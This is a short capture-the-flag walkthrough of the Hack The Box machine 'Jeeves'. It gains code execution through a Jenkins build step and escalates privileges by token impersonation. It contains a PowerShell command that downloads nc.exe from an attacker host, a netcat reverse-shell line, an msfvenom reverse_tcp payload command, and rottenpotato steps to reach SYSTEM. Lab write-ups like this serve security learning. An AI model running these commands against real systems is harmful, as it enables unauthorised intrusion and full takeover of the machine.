HTB – Jeeves Walkthrough

nmap

gobuster

Jenkins 

Code Execution

Create a project on Jenkins

Low Privileged Shell

Enter commands under Build Section

Powershell wget “http://10.10.14.4:8000/nc.exe” -outfile “nc.exe”

Nc.exe 10.10.14.4 7777 -e cmd.exe

And listened on python SimpleHTTPServer to send the nc.exe file and started to listen on port 7777 with nc for a reverse shell

Meterpreter Shell

Create a shell with the following command:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

Upload the executable file as shell.exe

And listen on metasploit

Privilege Escalation

I checked with whoami/priv command and saw that SeImpersonatePrivilege is enabled

I first loaded incognito with the command load incognito on meterpreter

list tokens and you’ll see no token available.

Upload rottenpotato.exe and execute the file 

list tokens again and you’ll see administrator token now

Now impersonate the token and become NT AUTHORITY\SYSTEM